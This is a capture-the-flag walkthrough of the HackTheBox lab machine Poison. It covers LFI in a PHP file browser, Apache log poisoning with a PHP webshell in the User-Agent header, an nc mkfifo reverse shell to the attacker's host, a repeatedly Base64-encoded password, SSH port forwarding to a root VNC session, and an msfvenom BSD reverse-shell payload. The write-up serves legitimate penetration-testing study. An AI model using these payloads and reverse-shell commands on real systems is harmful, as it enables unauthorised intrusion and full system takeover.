Overview

Poison is a medium HackTheBox FreeBSD machine built around a local file inclusion vulnerability in a PHP file browser. LFI alone only allows reading files, but combining it with log poisoning, injecting a PHP webshell into the Apache access log via the User-Agent header, then including that log file, turns it into full code execution. A backup file discovered after the initial foothold contains a password Base64-encoded 13 times over, unlocking a second user and, eventually, a root-owned VNC session reachable only through an SSH local port forward.

Attack Chain

  • Scan the target and find only SSH and HTTP
  • Find a PHP file-browsing interface that accepts a file parameter
  • Rule out remote file inclusion and confirm local file inclusion by reading /etc/passwd
  • Fuzz the file parameter and identify /var/log/httpd-access.log as the largest, most promising file
  • Confirm log poisoning by observing our own User-Agent header reflected in the log
  • Inject a PHP webshell into the User-Agent header and include the poisoned log file to execute it
  • Pass commands through the cmd parameter and filter the noisy log output with grep and awk
  • Get a reverse shell as www using an sh-based nc mkfifo payload
  • Find a backup file, pwdbackup.txt, containing a password Base64-encoded 13 times
  • Decode it with a short Python script to recover credentials for charix
  • Log in over SSH as charix and read the user flag
  • Find a password-protected secret.zip in charix’s home directory and extract it with the known password
  • Run linpeas.sh and spot Xvnc running as root, with VNC listening only on localhost
  • Set up an SSH local port forward to reach the VNC service
  • Fail to authenticate with charix’s password, but succeed using the extracted secret file as a VNC password file
  • Confirm the VNC session is running as root, on a FreeBSD host
  • Generate a FreeBSD-specific reverse shell payload with msfvenom and execute it through the VNC session
  • Catch a root shell and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.1.254; export NAME=POISON; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Finding LFI

Browsing to port 80 shows an interface for testing local .php scripts.

PHP script testing interface

We test info.php and see the parameter is passed through ?file=.

info.php uses the file parameter

We can test for both RFI and LFI. We start with RFI, checking for a request on our Python server:

curl "http://10.129.1.254/browse.php?file=http://192.10.10.14.27/test"

We get an error, the http wrapper isn’t available.

RFI attempt returns a wrapper error

We move to LFI:

curl "http://10.129.1.254/browse.php?file=/etc/passwd"

LFI is confirmed, we can read /etc/passwd.

LFI confirmed by reading /etc/passwd

Finding a Poisonable Log File

We fuzz for parameters with ffuf, sending requests through BurpSuite for easier navigation.

ffuf -u http://10.129.1.254/browse.php?file=FUZZ -c -ic -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt -t 40 --replay-proxy http://127.0.0.1:8080

We get a lot of positive responses.

ffuf returns many positive responses

We move to BurpSuite’s HTTP history under the Proxy tab and sort by Length. The file with the longest length is /var/log/httpd-access.log.

httpd-access.log has the longest response

We test for log poisoning. Looking at the last log entries, we see the ffuf User-Agent header reflected.

ffuf’s User-Agent reflected in the log

Note: We restart the machine, as the log file has grown large from all the fuzzing and become slow to interact with.


Foothold

Log Poisoning to Code Execution

We send a request with a test header.

curl "http://10.129.1.254/browse.php?file=/etc/passwd" -H "User-Agent: This is a test for log poisoning"

Then check the log file.

curl "http://10.129.1.254/browse.php?file=/var/log/httpd-access.log"

Our custom User-Agent shows up at the end of the file.

custom User-Agent reflected in the log

We add a basic PHP webshell to the User-Agent header:

<?php system($_GET['cmd']);?>

Our modified request:

request with the webshell in User-Agent

Including the log file, we don’t see our PHP code, but a warning that the system can’t execute a blank command, meaning the PHP code executed, just without arguments.

blank command warning confirms code execution

We give the webshell an argument, &cmd=id, and view the page source for readability:

view-source:http://10.129.27.133/browse.php?file=/var/log/httpd-access.log&cmd=id

Our command executes, we see the user www.

cmd=id executes, returning user www

We switch to curl for easier navigation.

curl "http://10.129.27.133/browse.php?file=/var/log/httpd-access.log" --data-urlencode "cmd=id" -G

using curl for command execution

To make the output easier to read, we filter it with grep for the specific log timestamp and awk to split on the 200 status code:

curl "http://10.129.27.133/browse.php?file=/var/log/httpd-access.log" --data-urlencode "cmd=id" -G | grep "\[12/Nov/2025:20:52:31 +0100\]" | awk -F200 '{print $2}'

Now we only see our command’s output.

filtered command output with grep and awk

Reverse Shell as www

We check what’s available for a reverse shell.

which nc

checking for nc

which bash
which sh

sh is available.

sh is available

We start a penelope listener on port 443 and use the nc mkfifo reverse shell payload from revshells.com:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.27 443 >/tmp/f

sending the mkfifo payload

We catch a shell as www.

shell as www


Lateral Movement

A Multiply-Encoded Password

We use pwd to check the webroot, and spot a file called pwdbackup.txt.

finding pwdbackup.txt

Its contents are a password Base64-encoded 13 times.

base64-encoded password in the backup file

We write a quick Python script to decode it repeatedly:

import base64

data = "..."

for i in range(13):
    data = base64.b64decode(data)

print(data.decode(errors="ignore"))

Running the script gives us a password.

running the decode script

We know from our earlier LFI-read /etc/passwd that there’s a user called charix.

charix:Charix!2#4%6&8(0

We test the credentials over SSH and get a shell as charix.

SSH as charix succeeds

We read the user flag.

user flag


Privilege Escalation

Finding VNC

We find a file called secret.zip in charix’s home directory.

secret.zip found in charix’s home directory

We transfer it to our attacking machine with scp.

scp charix@$IP:/home/charix/secret.zip .

Unzipping it requires a password. Using charix’s known password, Charix!2#4%6&8(0, works, we extract a file called secret.

unzipping secret.zip with charix’s password

We transfer and run linpeas.sh, which flags Xvnc running as root, an unusual process, since VNC is a remote desktop system with a GUI, similar to Windows RDP.

linpeas flags Xvnc running as root

We check listening ports.

netstat -an | grep LIST

Port 5901, VNC’s usual port, is listening.

netstat shows VNC listening on 5901

Reaching VNC via SSH Port Forwarding

VNC only listens locally, so we tunnel it with an SSH local port forward, target port 5901 forwarded to our attacking machine’s port 5902:

ssh -L 5902:127.0.0.1:5901 charix@$IP

We authenticate and get an SSH session as charix.

establishing the SSH local port forward

On our attacking machine, we verify the forward:

ss -ntplu

or

netstat -an | grep LIST

Port 5902 is listening.

verifying the port forward is active

We connect with vncviewer.

vncviewer 127.0.0.1::5902

We’re prompted for a password and try charix’s password, Charix!2#4%6&8(0, but it fails.

vncviewer rejects charix’s password

vncviewer’s help mentions supplying a password file. We try the file extracted from secret.zip:

vncviewer 127.0.0.1::5902 -passwd loot/secret

We’re logged in as root.

logged in to VNC as root

Reverse Shell as root

We’re not on a standard Linux system but FreeBSD. We confirm with:

uname -sm

We start a penelope listener on port 443 and use msfvenom to generate a BSD reverse shell:

msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.14.27 LPORT=443 -f elf -o rev443

We transfer the payload to the target, make it executable, and execute it.

transferring and executing the BSD payload

We have a shell as root.

shell as root

We read the root flag.


Key Takeaways

Poison demonstrates the classic pairing of local file inclusion with log poisoning: reading files alone is limited, but a web server that logs attacker-controlled request headers into a file the LFI can then include turns a read primitive into full code execution. The multiply-encoded backup password is a reminder that obscurity isn’t security, repeated Base64 encoding trivially automated away. Root ultimately came down to a VNC service left listening only on localhost but never actually secured, running as root and reachable the moment any local access, even low-privileged SSH, was available to tunnel through to it.